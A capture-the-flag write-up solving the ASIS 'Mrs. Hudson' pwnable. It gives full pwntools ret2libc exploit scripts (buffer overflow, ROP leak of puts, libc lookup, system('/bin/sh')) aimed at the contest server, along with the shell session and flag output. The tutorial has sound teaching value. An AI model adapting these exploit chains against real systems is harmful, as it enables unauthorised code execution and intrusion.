[Pwn] ASIS - Mrs. Hudson


Average: 2.94
Rating Count: 17
Top 3 Solver

dodododo
RPISEC
TokyoWesterns

Points
54
Solves
103
Category
Pwnable

Description:

England would fall if Mrs. Hudson leaves Baker Street. Mrs. Hudson is the first one who is totally exploited by Sherlock, or Does She?

nc 178.62.249.106 8642
nc 146.185.168.172 8642

Lets start by checking the security of the binary (https://github.com/slimm609/checksec.sh):

1
2
3
$ checksec -f ./mrs._hudson
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 ./mrs._hudson

We don’t have any kind of protections so analysing it with radare2
radare2

The binary is pretty simple we have a scanf in the end, with it we can overflow the buffer…
My plan was:

1
2
3
4
5
1 - overflow the buffer and leak puts address.
2 - search in the libc-database for a libc.so.
3 - calculate system address and binsh address.
4 - jump to main again.
5 - overflow the buffer and jump to system('/bin/sh').

Calculate the offset to RIP

We can use metasploit(to create the patterns) and gdb but first lets see the address of the ret instruction in assembly:

1
2
3
|           0x00400680      e89bfeffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
| 0x00400685 c9 leave
\ 0x00400686 c3 ret

And now generate the patterns and use gdb to calculate the offset

1
2
3
4
5
6
7
8
9
10
11
12
13
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

$ gdb ./mrs._hudson
pwndbg> b *0x00400686
pwndbg> r
Let's go back to 2000.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
pwndbg> x $rsp
0x7fffffffde08: 0x6541316541306541

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6541316541306541
[*] Exact match at offset 120

The offset is 120.


Leak puts address

We have to leak the libc address from puts, we can do this by using puts_plt and puts_got addresses with return oriented programming, keep in mind that in x86 parameters are stored on the stack, but in x64 the first six parameters are saved in RDI, RSI, RDX, RCX, R8 and R9, if there are more parameters will be saved on the stack. So if we want to build the Rop chain to call puts we should first POP RDI RET so we save the next value in the stack to RDI.

To find the POP RDI; RET gadget we can use ROPgadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ROPgadget --binary ./mrs._hudson --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ee : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006f0 : pop r14 ; pop r15 ; ret
0x00000000004006f2 : pop r15 ; ret
0x00000000004006eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ef : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400575 : pop rbp ; ret
0x00000000004006f3 : pop rdi ; ret
0x00000000004006f1 : pop rsi ; pop r15 ; ret
0x00000000004006ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004ee : ret
0x00000000004005a5 : ret 0xc148

Now start building our exploit to leak puts libc address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

binary = ELF('./mrs._hudson')
local = True

POPRET = 0x00000000004006f3
PUTSPLT = binary.plt['puts']
PUTSGOT = binary.got['puts']

padding = 'A' * 120

ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(PUTSGOT) # PUTS ADDRESS ARG[1]
ropchain += p64(PUTSPLT) # PUTS function "call"


r = process('./mrs._hudson') if local else remote('178.62.249.106', 8642)
r.recvline()

r.sendline(padding + ropchain)
PUTS = u64(r.recv(0x6).ljust(8, '\x00'))
log.info("PUTS 0x%x" % PUTS)

Search libc-database

We can user this libc-database and try to find a lib to corresponds to our puts leaked address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python mrs._hudson.py
[*] '~/ctf/asis/pwn/mrs._hudson'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[+] Opening connection to 178.62.249.106 on port 8642: Done
[*] Puts 0x7fc73fd10690

$ ./find puts 0x7fc73fd10690 #libc-database folder
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu9_amd64)
~/ctf/tokyo/pwn/swap/libc.so.6 (id local-14c22be9aa11316f89909e4237314e009da38883)

It was funny because it was the same libc.so of a challenge I did previously in tokyo westerns.


Calculate libcbase and other addresses

Now that we have the lib.so.6 we can now use extract from it the offsets using pwntools:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
binary = ELF('./mrs._hudson')
libc = ELF('libc.so.6') # got libc from libc-database
local = False

POPRET = 0x00000000004006f3
PUTSPLT = binary.plt['puts']
PUTSGOT = binary.got['puts']

padding = 'A' * 120

ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(PUTSGOT) # PUTS ADDRESS ARG[1]
ropchain += p64(PUTSPLT) # PUTS function "call"
ropchain += p64(MAIN) # MAIN function "call"

r = process('./mrs._hudson', env = {"LD_PRELOAD":"./libc.so.6"}) if local else remote('178.62.249.106', 8642)
r.recvline()

r.sendline(padding + ropchain)
PUTS = u64(r.recv(0x6).ljust(8, '\x00'))
LIBCBASE = PUTS - libc.symbols['puts']
SYSTEM = LIBCBASE + libc.symbols['system']
BINSH = LIBCBASE + 0x18cd17

log.info("LIBC 0x%x" % LIBCBASE)
log.info("LIBC 0x%x" % PUTS)
log.info("SYSTEM 0x%x" % SYSTEM)
log.info("Binsh 0x%x" % (BINSH))

Return to main and jump to system(‘/bin/sh’)

First lets get the main address from radare2:

1
2
3
4
5
6
7
8
            ;-- main:
/ (fcn) sym.main 109
| sym.main ();
| ; var int local_80h @ rbp-0x80
| ; var int local_74h @ rbp-0x74
| ; var int local_70h @ rbp-0x70
| ; DATA XREF from 0x0040054d (entry0)
| 0x0040061a 55 push rbp

We add MAIN to our rop chain, after we execute puts, we jump to main again:

1
2
3
4
5
6
MAIN = 0x000000000040061A
ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(PUTSGOT) # PUTS ADDRESS ARG[1]
ropchain += p64(PUTSPLT) # PUTS function "call"
ropchain += p64(MAIN) # MAIN function "call"

And now the final exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import struct
import time

def getConn():
return process('./mrs._hudson', env = {"LD_PRELOAD":"./libc.so.6"}) if local else remote('178.62.249.106', 8642)


binary = ELF('./mrs._hudson')
libc = ELF('libc.so.6') # got libc from libc-database
local = False

POPRET = 0x00000000004006f3
PUTSPLT = binary.plt['puts']
PUTSGOT = binary.got['puts']
MAIN = 0x000000000040061A

padding = 'A' * 120

ropchain = ''
ropchain += p64(POPRET) # POP RDI; RET
ropchain += p64(PUTSGOT) # PUTS ADDRESS ARG[1]
ropchain += p64(PUTSPLT) # PUTS function "call"
ropchain += p64(MAIN) # MAIN function "call"

r = getConn()
r.recvline()

r.sendline(padding + ropchain)
PUTS = u64(r.recv(0x6).ljust(8, '\x00'))
LIBCBASE = PUTS - libc.symbols['puts']
SYSTEM = LIBCBASE + libc.symbols['system']
BINSH = LIBCBASE + 0x18cd17

log.info("LIBC 0x%x" % LIBCBASE)
log.info("PUTS 0x%x" % PUTS)
log.info("SYSTEM 0x%x" % SYSTEM)
log.info("Binsh 0x%x" % (BINSH))

r.recvline()
r.recvline()
r.sendline(padding + p64(POPRET) + p64(BINSH) + p64(SYSTEM))
r.interactive()
r.close()

Run and get the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ python mrs._hudson.py
[*] '~/ctf/asis/pwn/mrs._hudson'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] '~/ctf/asis/pwn/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 178.62.249.106 on port 8642: Done
[*] LIBC 0x7ff6d2ec0000
[*] PUTS 0x7ff6d2f2f690
[*] SYSTEM 0x7ff6d2f05390
[*] Binsh 0x7ff6d304cd17
[*] Switching to interactive mode
$ ls home
frontofficemanager
$ ls home/frontofficemanager
flag
hudson_3ab429dd29d62964e5596e6afe0d17d9
$ cat home/frontofficemanager/flag
ASIS{W3_Do0o_N0o0t_Like_M4N4G3RS_OR_D0_w3?}